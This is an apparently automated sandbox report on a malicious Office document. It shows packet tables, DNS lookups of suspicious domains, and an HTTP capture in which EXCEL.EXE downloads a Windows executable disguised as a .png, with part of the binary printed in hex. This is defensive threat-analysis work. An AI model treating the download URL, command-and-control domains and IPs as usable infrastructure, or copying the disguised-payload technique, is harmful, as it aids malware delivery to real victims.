Feb 9, 2021 11:55:46.164072990 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.164866924 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.171758890 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171792984 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171830893 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171869040 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171870947 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.171899080 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171905041 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.171935081 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.171947002 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.171982050 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.171991110 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172023058 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172032118 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172053099 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172066927 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172070980 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172103882 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172123909 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172146082 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172179937 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172219038 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172235012 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172266960 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172277927 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.172307968 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.172374964 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.176297903 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.195749044 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195796967 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195837975 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195875883 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195893049 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.195911884 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.195919037 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195960999 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195990086 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.195990086 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196012020 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196028948 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196033001 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196070910 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196105003 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196110964 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196151018 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196172953 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196202993 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196213961 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196233988 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196264029 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196293116 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196310997 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196346998 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196356058 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196383953 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196393967 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.196458101 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.196645975 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.205239058 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.205288887 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.205352068 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.207263947 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.207305908 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.207344055 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.207367897 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.207386017 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.207438946 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.378952026 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.419994116 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.422883034 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.423132896 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.463973045 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.464782000 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.465027094 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.465456009 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.470824957 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.470860958 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.506330013 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.511629105 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.511718035 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.511848927 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.552737951 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.552784920 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.552803993 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.719400883 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.719433069 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.719449043 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.719465017 CET	443	49195	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.719520092 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.719557047 CET	49195	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:56.786626101 CET	49196	443	192.168.2.22	45.67.231.135
Feb 9, 2021 11:55:59.800438881 CET	49196	443	192.168.2.22	45.67.231.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 9, 2021 11:53:08.926564932 CET	52197	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:53:09.315218925 CET	53	52197	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:02.807590008 CET	53099	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:02.868804932 CET	53	53099	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:03.887136936 CET	52838	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:03.946822882 CET	53	52838	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:04.141469002 CET	61200	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:04.203253031 CET	53	61200	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:05.091121912 CET	49548	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:05.132467985 CET	55627	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:05.153992891 CET	53	49548	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:05.189009905 CET	56009	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:05.190593958 CET	61865	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:05.190778017 CET	53	55627	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:05.192604065 CET	55171	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:05.250600100 CET	53	61865	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:05.250641108 CET	53	56009	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:05.251241922 CET	53	55171	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.365463972 CET	52496	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.369394064 CET	57564	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.383234024 CET	63009	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.385668993 CET	59319	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.388541937 CET	53070	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.418665886 CET	53	52496	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.419524908 CET	53	57564	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.433113098 CET	53	63009	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.438565016 CET	53	53070	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.438863993 CET	53	59319	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:07.502017975 CET	59770	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:07.550760984 CET	53	59770	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:08.745872021 CET	61523	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:08.794768095 CET	53	61523	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:33.654953003 CET	62791	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:33.740334988 CET	53	62791	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:34.664359093 CET	62791	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:34.726368904 CET	53	62791	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:35.678179979 CET	62791	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:35.738996983 CET	53	62791	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:37.691057920 CET	62791	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:37.742721081 CET	53	62791	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:39.010972977 CET	50667	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:39.073848009 CET	53	50667	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:41.700674057 CET	62791	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:41.765526056 CET	53	62791	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:50.243320942 CET	54129	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:50.301904917 CET	53	54129	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:51.021184921 CET	65329	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:51.078902960 CET	53	65329	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:53.427480936 CET	60718	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:53.488979101 CET	53	60718	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:55.040507078 CET	49157	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:55.097707033 CET	53	49157	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:57.358278036 CET	57391	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:57.418734074 CET	53	57391	8.8.8.8	192.168.2.22
Feb 9, 2021 11:54:58.255409002 CET	61858	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:54:58.315634012 CET	53	61858	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:42.063019037 CET	62500	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:42.114438057 CET	53	62500	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:42.118902922 CET	62501	53	192.168.2.22	208.67.222.222
Feb 9, 2021 11:55:42.159766912 CET	53	62501	208.67.222.222	192.168.2.22
Feb 9, 2021 11:55:42.160861969 CET	62502	53	192.168.2.22	208.67.222.222
Feb 9, 2021 11:55:42.201688051 CET	53	62502	208.67.222.222	192.168.2.22
Feb 9, 2021 11:55:42.204030037 CET	62503	53	192.168.2.22	208.67.222.222
Feb 9, 2021 11:55:42.245126009 CET	53	62503	208.67.222.222	192.168.2.22
Feb 9, 2021 11:55:43.363564014 CET	51652	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:43.426243067 CET	53	51652	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:43.848999023 CET	62762	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:43.910638094 CET	53	62762	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:44.547785044 CET	56905	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:44.596453905 CET	53	56905	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:54.981880903 CET	56906	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:55.032341957 CET	53	56906	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:55.033148050 CET	56907	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:55.081847906 CET	53	56907	8.8.8.8	192.168.2.22
Feb 9, 2021 11:55:56.736885071 CET	54609	53	192.168.2.22	8.8.8.8
Feb 9, 2021 11:55:56.785630941 CET	53	54609	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 9, 2021 11:55:56.841478109 CET	45.67.231.135	192.168.2.22	d4a5	(Unknown)	Destination Unreachable
Feb 9, 2021 11:55:59.853365898 CET	45.67.231.135	192.168.2.22	d4a5	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 9, 2021 11:53:08.926564932 CET	192.168.2.22	8.8.8.8	0x9610	Standard query (0)	online-docu-sign-st.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:05.091121912 CET	192.168.2.22	8.8.8.8	0x3e6c	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:05.189009905 CET	192.168.2.22	8.8.8.8	0x7176	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:51.021184921 CET	192.168.2.22	8.8.8.8	0xb59a	Standard query (0)	pronpepsipirpyamvioerd.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:55.040507078 CET	192.168.2.22	8.8.8.8	0x52d6	Standard query (0)	pronpepsipirpyamvioerd.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:58.255409002 CET	192.168.2.22	8.8.8.8	0x5a86	Standard query (0)	pronpepsipirpyamvioerd.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:42.063019037 CET	192.168.2.22	8.8.8.8	0xe2f6	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:42.118902922 CET	192.168.2.22	208.67.222.222	0x1	Standard query (0)	222.222.67.208.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:42.160861969 CET	192.168.2.22	208.67.222.222	0x2	Standard query (0)	myip.opendns.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:42.204030037 CET	192.168.2.22	208.67.222.222	0x3	Standard query (0)	myip.opendns.com	28	IN (0x0001)
Feb 9, 2021 11:55:44.547785044 CET	192.168.2.22	8.8.8.8	0x3c4e	Standard query (0)	mozilla.cloudflare-dns.com	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:54.981880903 CET	192.168.2.22	8.8.8.8	0x1	Standard query (0)	8.8.8.8.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:55.033148050 CET	192.168.2.22	8.8.8.8	0x2	Standard query (0)	1.0.0.127.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:56.736885071 CET	192.168.2.22	8.8.8.8	0x6ec7	Standard query (0)	eorctconthoelrrpentshfex.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 9, 2021 11:53:09.315218925 CET	8.8.8.8	192.168.2.22	0x9610	No error (0)	online-docu-sign-st.com		8.208.96.68	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:05.153992891 CET	8.8.8.8	192.168.2.22	0x3e6c	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)
Feb 9, 2021 11:54:05.250600100 CET	8.8.8.8	192.168.2.22	0x30b7	No error (0)	consentdeliveryfd.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 9, 2021 11:54:05.250641108 CET	8.8.8.8	192.168.2.22	0x7176	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)
Feb 9, 2021 11:54:51.078902960 CET	8.8.8.8	192.168.2.22	0xb59a	No error (0)	pronpepsipirpyamvioerd.com		80.208.230.180	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:55.097707033 CET	8.8.8.8	192.168.2.22	0x52d6	No error (0)	pronpepsipirpyamvioerd.com		80.208.230.180	A (IP address)	IN (0x0001)
Feb 9, 2021 11:54:58.315634012 CET	8.8.8.8	192.168.2.22	0x5a86	No error (0)	pronpepsipirpyamvioerd.com		80.208.230.180	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:42.114438057 CET	8.8.8.8	192.168.2.22	0xe2f6	No error (0)	resolver1.opendns.com		208.67.222.222	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:42.159766912 CET	208.67.222.222	192.168.2.22	0x1	No error (0)	222.222.67.208.in-addr.arpa			PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:42.201688051 CET	208.67.222.222	192.168.2.22	0x2	No error (0)	myip.opendns.com		84.17.52.38	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:44.596453905 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	mozilla.cloudflare-dns.com		104.16.249.249	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:44.596453905 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	mozilla.cloudflare-dns.com		104.16.248.249	A (IP address)	IN (0x0001)
Feb 9, 2021 11:55:55.032341957 CET	8.8.8.8	192.168.2.22	0x1	No error (0)	8.8.8.8.in-addr.arpa			PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:55.081847906 CET	8.8.8.8	192.168.2.22	0x2	Name error (3)	1.0.0.127.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 9, 2021 11:55:56.785630941 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	eorctconthoelrrpentshfex.com		45.67.231.135	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

online-docu-sign-st.com

pronpepsipirpyamvioerd.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	8.208.96.68	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2021 11:53:09.398152113 CET	0	OUT	GET /yytr.png HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: online-docu-sign-st.com Connection: Keep-Alive
Feb 9, 2021 11:53:09.474550962 CET	2	IN	HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:53:09 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Mon, 08 Feb 2021 15:52:01 GMT ETag: "73c00-5bad5268b0a40" Accept-Ranges: bytes Content-Length: 474112 Connection: close Content-Type: image/png Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 80 05 00 00 b8 01 00 00 00 00 00 4c 8e 05 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 07 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 05 00 28 22 00 00 00 60 06 00 00 1a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 68 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 80 7e 05 00 00 10 00 00 00 80 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 3c 12 00 00 00 90 05 00 00 14 00 00 00 84 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 95 0c 00 00 00 b0 05 00 00 00 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 28 22 00 00 00 c0 05 00 00 24 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 68 65 00 00 00 f0 05 00 00 66 00 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 1a 01 00 00 60 06 00 00 1a 01 00 00 22 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 00 00 00 00 00 3c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 2c 10 40 00 02 04 43 68 61 72 01 00 00 00 00 ff 00 00 00 90 40 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*L@("`heCODE~ `DATA<@BSS.idata("$@.relochef@P.rsrc`"@P<@P@Boolean@FalseTrue@,@Char@
Feb 9, 2021 11:53:09.474637032 CET	3	IN	Data Raw: 10 40 00 01 07 49 6e 74 65 67 65 72 04 00 00 00 80 ff ff ff 7f 8b c0 58 10 40 00 01 04 42 79 74 65 01 00 00 00 00 ff 00 00 00 90 6c 10 40 00 01 04 57 6f 72 64 03 00 00 00 00 ff ff 00 00 90 80 10 40 00 01 08 43 61 72 64 69 6e 61 6c 05 00 00 00 00 Data Ascii: @IntegerX@Bytel@Word@Cardinal@String@WideString@@,3@83@<3@@3@43@0@0@0@TObject@TObject@System(@IInter
Feb 9, 2021 11:53:09.474694967 CET	4	IN	Data Raw: 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b d9 8b f2 8b e8 c7 43 04 00 00 10 00 6a 04 68 00 20 00 00 68 00 00 10 00 55 e8 a5 fd ff ff 8b f8 89 3b 85 ff 75 1f 81 c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 04 68 00 20 00 00 Data Ascii: P3_^[SVWUCjh hU;usjh VU;t#EuhjPb3]_^[SVWUL$$D$3T$$D$EQ;s;wFC;D$w;;t$st$C;D$vD$hjV
Feb 9, 2021 11:53:09.474756002 CET	6	IN	Data Raw: b0 45 00 00 74 0a 68 cc b5 45 00 e8 af f8 ff ff c3 e9 71 1d 00 00 eb e5 a0 c4 b5 45 00 5d c3 55 8b ec 53 80 3d c4 b5 45 00 00 0f 84 cc 00 00 00 33 d2 55 68 a6 1b 40 00 64 ff 32 64 89 22 80 3d 4d b0 45 00 00 74 0a 68 cc b5 45 00 e8 66 f8 ff ff c6 Data Ascii: EthEqE]US=E3Uh@d2d"=MEthEfE$EP43$EEhjCP%EuEE(EuEtEPEu3ZYYdh@=MEthEhE
Feb 9, 2021 11:53:09.474816084 CET	7	IN	Data Raw: 8b 15 24 b6 45 00 8b 54 82 f4 85 d2 75 08 40 3d 01 04 00 00 75 ea 8b c2 c3 53 56 57 55 8b f0 bf 18 b6 45 00 bd 1c b6 45 00 8b 1d 10 b6 45 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b 17 89 42 08 3b Data Ascii: $ETu@=uSVWUEEE;sC;~{s[;sB;tcuNu3;u)u}}u3E E5 EE5ELS+\|T;uC
Feb 9, 2021 11:53:09.474875927 CET	9	IN	Data Raw: 7d 18 a1 1c b6 45 00 01 05 20 b6 45 00 03 35 1c b6 45 00 33 c0 a3 1c b6 45 00 8b c6 2b c7 01 05 b8 b5 45 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 e9 a2 00 00 00 e8 3e f9 ff ff 8b dd 03 df f6 03 02 75 4d 8b d3 8b c2 8b 48 08 89 0c 24 8b 0c Data Ascii: }E E5E3E+EE%u>uMH$$;L$}$$)D$,D$)$<$\|$n:4$#.t!%T$t3+EE%uYZ]_^[UQSVW=E
Feb 9, 2021 11:53:09.474936008 CET	10	IN	Data Raw: 5a 83 e2 03 74 1c 8a 0e 3a 0f 75 2f 4a 74 13 8a 4e 01 3a 4f 01 75 24 4a 74 08 8a 4e 02 3a 4f 02 75 19 01 c0 eb 15 5a 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5f 5e 5b c3 8b c0 53 56 51 89 ce c1 ee 02 74 26 8b 08 8b 1a 39 d9 75 Data Ascii: Zt:u/JtN:Ou$JtN:OuZ8u8u8u8_^[SVQt&9uENtHZ9u8Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[Wfx_SVWPtl11F t-tb
